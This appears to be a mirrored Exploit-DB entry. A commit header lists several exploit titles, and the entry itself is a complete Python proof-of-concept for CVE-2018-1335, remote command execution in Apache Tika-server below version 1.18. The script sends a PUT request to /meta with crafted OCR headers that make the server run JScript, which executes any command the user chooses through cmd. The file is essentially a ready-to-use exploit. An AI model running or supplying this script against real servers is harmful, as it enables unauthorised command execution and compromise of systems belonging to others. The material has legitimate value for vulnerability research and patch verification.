exploit-db-mirror/exploits/windows/remote/46540.py
Offensive Security c5fbc00e3e DB: 2019-03-14
8 changes to exploits/shellcodes

Microsoft Windows - .reg File / Dialog Box Message Spoofing
Core FTP Server FTP / SFTP Server v2 Build 674 - 'MDTM' Directory Traversal
Core FTP Server FTP / SFTP Server v2 Build 674 - 'SIZE' Directory Traversal

Microsoft Windows MSHTML Engine - _Edit_ Remote Code Execution
elFinder PHP Connector < 2.1.48 - exiftran Command Injection (Metasploit)
Apache Tika-server < 1.18 - Command Injection
WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion
pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Persistent Cross-Site Scripting
2019-03-14 05:01:58 +00:00

39 lines
No EOL
1.6 KiB
Python
Executable file

######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server. #
#Versions Affected: Tika-server versions < 1.18 #
#Researcher: David Yesland Twitter: @Daveysec #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ # #
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335 #
######################################################################################################
import sys
import requests
if len(sys.argv) < 4:
print "Usage: python CVE-2018-1335.py <host> <port> <command>"
print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
url = host+":"+str(port)+"/meta"
headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
"X-Tika-OCRLanguage": "//E:Jscript",
"Expect": "100-continue",
"Content-type": "image/jp2",
"Connection": "close"}
jscript='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c {}');
'''.format(cmd)
try:
requests.put("https://"+url, headers=headers, data=jscript, verify=False)
except:
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"